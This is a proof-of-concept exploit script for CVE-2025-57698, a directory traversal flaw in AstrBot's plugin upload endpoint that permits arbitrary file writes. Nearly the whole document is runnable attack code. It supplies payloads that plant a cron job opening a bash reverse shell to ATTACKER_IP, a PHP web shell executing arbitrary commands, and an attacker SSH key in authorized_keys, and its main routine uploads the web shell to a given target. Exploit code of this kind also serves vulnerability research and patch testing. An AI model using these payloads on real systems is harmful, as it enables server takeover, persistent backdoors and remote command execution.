CVE-2025-57698: AstrBot Project 目录遍历漏洞导致任意文件写入

import requests import sys # CVE-2025-57698 PoC - AstrBot Directory Traversal File Write # Target: AstrBot Project v3.5.22 # Vulnerability: Path traversal in /plugin/install-upload endpoint target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000" def exploit_directory_traversal(target_url, filename, content): """ Exploit the directory traversal vulnerability to write arbitrary files """ url = f"{target_url}/plugin/install-upload" # Prepare the malicious file content files = { 'file': (filename, content, 'application/octet-stream') } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Target file path: {filename}") response = requests.post(url, files=files, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] Exploit sent successfully!") return True else: print("[-] Exploit may have failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example 1: Write to cron.d for reverse shell filename1 = "../../../../etc/cron.d/backdoor" content1 = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" # Example 2: Write web shell filename2 = "../../../var/www/html/uploads/shell.php" content2 = "<?php system($_GET['cmd']); ?>" # Example 3: Write to user home directory filename3 = "../../../../home/astrabot/.ssh/authorized_keys" content3 = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker@localhost" if __name__ == "__main__": print("CVE-2025-57698 PoC - AstrBot Directory Traversal") print("=" * 50) # Test with web shell example exploit_directory_traversal(target, filename2, content2)